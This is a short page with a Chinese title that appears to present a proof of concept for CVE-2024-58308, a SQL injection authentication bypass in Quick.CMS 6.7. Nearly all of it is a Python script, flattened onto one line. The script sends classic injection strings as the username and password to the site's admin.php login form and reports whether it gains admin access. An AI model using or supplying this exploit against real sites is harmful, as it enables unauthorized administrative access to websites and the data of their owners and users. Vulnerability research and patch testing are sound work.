CVE-2024-58308 Quick.CMS 6.7 SQL注入登录绕过漏洞

import requests import sys # CVE-2024-58308 PoC - Quick.CMS 6.7 SQL Injection Authentication Bypass # Target: Quick.CMS 6.7 admin login endpoint target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/Quick.CMS/" login_url = target_url.rstrip('/') + "/admin.php" # SQL injection payloads to bypass authentication payloads = [ "' or '1'='1", "admin' OR '1'='1", "' OR 1=1--", "' OR 'a'='a", ] def exploit_sqli(url, payload): """Send malicious payload to login form""" data = { 'sLogin': payload, 'sPassword': payload, 'bLogin': '1' } try: response = requests.post(url, data=data, timeout=10, allow_redirects=False) # Check for successful login indicators if response.status_code in [200, 302]: if 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): return True if 'location' in response.headers and 'admin' in str(response.headers.get('location', '')): return True return False except requests.RequestException: return False def main(): print(f"[*] CVE-2024-58308 Quick.CMS SQL Injection PoC") print(f"[*] Target: {login_url}\n") for payload in payloads: print(f"[*] Testing payload: {payload}") if exploit_sqli(login_url, payload): print(f"[!] VULNERABLE! Authentication bypass successful with: {payload}") return print("[*] No payloads succeeded") if __name__ == "__main__": main()